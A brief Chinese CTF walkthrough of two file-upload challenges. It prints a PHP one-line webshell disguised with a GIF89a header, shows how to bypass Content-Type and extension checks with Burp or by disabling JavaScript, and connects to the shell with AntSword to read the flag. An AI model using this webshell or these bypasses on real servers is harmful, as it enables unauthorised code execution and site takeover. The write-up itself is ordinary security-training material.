题目:【极客大挑战 2019】 Upload
过程:
上传有关的就先写一个简单的木马,一句话木马
GIF89a
<script language="php">eval($_POST['a']);</script>
新建一个文本文档,内容复制,更改名称和后缀:a.phtml
这里的回显可以看到提示:not image 不是图片格式,用bp抓包,改消息头
在16行 Content-Type : 后面改为 image/jpeg 放包回显:上传文件名:a.phtml
使用蚁剑连接,这里需要猜测上传文件路径,最终路径后面改为
/upload/a.phtml
密码为 a 密码为自己设定的。
在文件根目录下找到flag。
题目:[ACTF2020 新生赛]Upload 1
过程
和上一题一样,我这里直接用的的上一个的文件
但是有个提醒,弹窗警告,说明前端做了过滤,有两种思路
1.根据提示更改文件后缀 jpg png等
利用bp更改后缀为phtml
直接利用蚁剑连接后缀为uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml 的URL即可。
2.关闭js弹窗
浏览器搜索about:config
搜索javascript,关闭即可。
会到靶机页面,刷新后继续上传即可。
蚁剑连接,url后缀:uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
在根目录后面找flag就行。